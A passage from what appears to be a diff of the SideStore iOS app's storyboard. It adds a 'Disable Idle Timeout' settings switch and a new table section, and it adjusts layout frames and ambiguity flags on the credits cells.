self.progress.completedUnitCount += 1
|
||||||
self.finish(.success(()))
|
self.finish(.success(()))
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
@@ -21,7 +21,7 @@
|
|||||||
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
||||||
<rect key="frame" x="0.0" y="1126" width="375" height="25"/>
|
<rect key="frame" x="0.0" y="1341" width="375" height="25"/>
|
||||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
@@ -236,9 +236,45 @@
|
|||||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
|
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
|
||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="amC-sE-8O0" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="GYp-O0-pse" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="444" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="444" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="GYp-O0-pse" id="vDG-ZV-xRS">
|
||||||
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<subviews>
|
||||||
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Disable Idle Timeout" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PCh-Up-aJJ">
|
||||||
|
<rect key="frame" x="30" y="15.5" width="166" height="20.5"/>
|
||||||
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<nil key="highlightedColor"/>
|
||||||
|
</label>
|
||||||
|
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="iQA-wm-5ag">
|
||||||
|
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||||
|
<connections>
|
||||||
|
<action selector="toggleNoIdleTimeoutEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="WSl-Jc-g5J"/>
|
||||||
|
</connections>
|
||||||
|
</switch>
|
||||||
|
</subviews>
|
||||||
|
<constraints>
|
||||||
|
<constraint firstAttribute="trailingMargin" secondItem="iQA-wm-5ag" secondAttribute="trailing" id="MJ1-HF-Dln"/>
|
||||||
|
<constraint firstItem="PCh-Up-aJJ" firstAttribute="leading" secondItem="vDG-ZV-xRS" secondAttribute="leadingMargin" id="Ocu-jn-RAQ"/>
|
||||||
|
<constraint firstItem="iQA-wm-5ag" firstAttribute="centerY" secondItem="vDG-ZV-xRS" secondAttribute="centerY" id="c6W-bN-VAb"/>
|
||||||
|
<constraint firstItem="PCh-Up-aJJ" firstAttribute="centerY" secondItem="vDG-ZV-xRS" secondAttribute="centerY" id="mL6-LB-cjn"/>
|
||||||
|
</constraints>
|
||||||
|
</tableViewCellContentView>
|
||||||
|
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||||
|
<userDefinedRuntimeAttributes>
|
||||||
|
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||||
|
<integer key="value" value="2"/>
|
||||||
|
</userDefinedRuntimeAttribute>
|
||||||
|
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||||
|
</userDefinedRuntimeAttributes>
|
||||||
|
</tableViewCell>
|
||||||
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="amC-sE-8O0" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
|
<rect key="frame" x="0.0" y="495" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="amC-sE-8O0" id="GEO-2e-E4k">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="amC-sE-8O0" id="GEO-2e-E4k">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
@@ -269,7 +305,7 @@
|
|||||||
<tableViewSection headerTitle="" id="eHy-qI-w5w">
|
<tableViewSection headerTitle="" id="eHy-qI-w5w">
|
||||||
<cells>
|
<cells>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="30h-59-88f" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="30h-59-88f" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="535" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="586" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="30h-59-88f" id="7qD-DW-Jls">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="30h-59-88f" id="7qD-DW-Jls">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
@@ -309,28 +345,28 @@
|
|||||||
<tableViewSection headerTitle="" id="J90-vn-u2O">
|
<tableViewSection headerTitle="" id="J90-vn-u2O">
|
||||||
<cells>
|
<cells>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="i4T-2q-jF3" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="i4T-2q-jF3" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="626" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="677" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="i4T-2q-jF3" id="VTQ-H4-aCM">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="i4T-2q-jF3" id="VTQ-H4-aCM">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Developers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hRA-OK-Vjw">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Developers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hRA-OK-Vjw">
|
||||||
<rect key="frame" x="30" y="15.5" width="86" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="86" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="lx9-35-OSk">
|
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="lx9-35-OSk">
|
||||||
<rect key="frame" x="187.5" y="15.5" width="157.5" height="20.5"/>
|
<rect key="frame" x="187.5" y="15.5" width="157.5" height="20.5"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore Team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JAA-iZ-VGb">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="SideStore Team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JAA-iZ-VGb">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="125.5" height="20.5"/>
|
<rect key="frame" x="0.0" y="0.0" width="125.5" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Mmj-3V-fTb">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Mmj-3V-fTb">
|
||||||
<rect key="frame" x="139.5" y="0.0" width="18" height="20.5"/>
|
<rect key="frame" x="139.5" y="0.0" width="18" height="20.5"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -353,28 +389,28 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="oHX-oR-nwJ" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="oHX-oR-nwJ" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="677" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oHX-oR-nwJ" id="hN4-i5-igu">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oHX-oR-nwJ" id="hN4-i5-igu">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
|
||||||
<rect key="frame" x="30" y="15.5" width="89" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="89" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
|
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
|
||||||
<rect key="frame" x="198" y="15.5" width="147" height="20.5"/>
|
<rect key="frame" x="198" y="15.5" width="147" height="20.5"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="115" height="20.5"/>
|
<rect key="frame" x="0.0" y="0.0" width="115" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
|
||||||
<rect key="frame" x="129" y="0.0" width="18" height="20.5"/>
|
<rect key="frame" x="129" y="0.0" width="18" height="20.5"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -397,28 +433,28 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="0MT-ht-Sit" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="0MT-ht-Sit" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="0MT-ht-Sit" id="OZp-WM-5H7">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="0MT-ht-Sit" id="OZp-WM-5H7">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Asset Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fGU-Fp-XgM">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Asset Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fGU-Fp-XgM">
|
||||||
<rect key="frame" x="30" y="15.5" width="115.5" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="115.5" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="R8B-DW-7mY">
|
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="R8B-DW-7mY">
|
||||||
<rect key="frame" x="206" y="15.5" width="139" height="20.5"/>
|
<rect key="frame" x="206" y="15.5" width="139" height="20.5"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Chris (LitRitt)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hId-3P-41T">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Chris (LitRitt)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hId-3P-41T">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="107" height="20.5"/>
|
<rect key="frame" x="0.0" y="0.0" width="107" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="baq-cE-fMY">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="baq-cE-fMY">
|
||||||
<rect key="frame" x="121" y="0.0" width="18" height="20.5"/>
|
<rect key="frame" x="121" y="0.0" width="18" height="20.5"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -441,19 +477,19 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="O5R-Al-lGj" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="O5R-Al-lGj" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="779" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="830" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="O5R-Al-lGj" id="CrG-Mr-xQq">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="O5R-Al-lGj" id="CrG-Mr-xQq">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Licenses" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="D6b-cd-pVK">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Licenses" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="D6b-cd-pVK">
|
||||||
<rect key="frame" x="30" y="15.5" width="67.5" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="67.5" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="s79-GQ-khr">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="s79-GQ-khr">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -478,22 +514,62 @@
|
|||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
</cells>
|
</cells>
|
||||||
</tableViewSection>
|
</tableViewSection>
|
||||||
|
<tableViewSection id="y49-Tc-odS">
|
||||||
|
<cells>
|
||||||
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="DqL-lJ-MhM" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
|
<rect key="frame" x="0.0" y="917" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
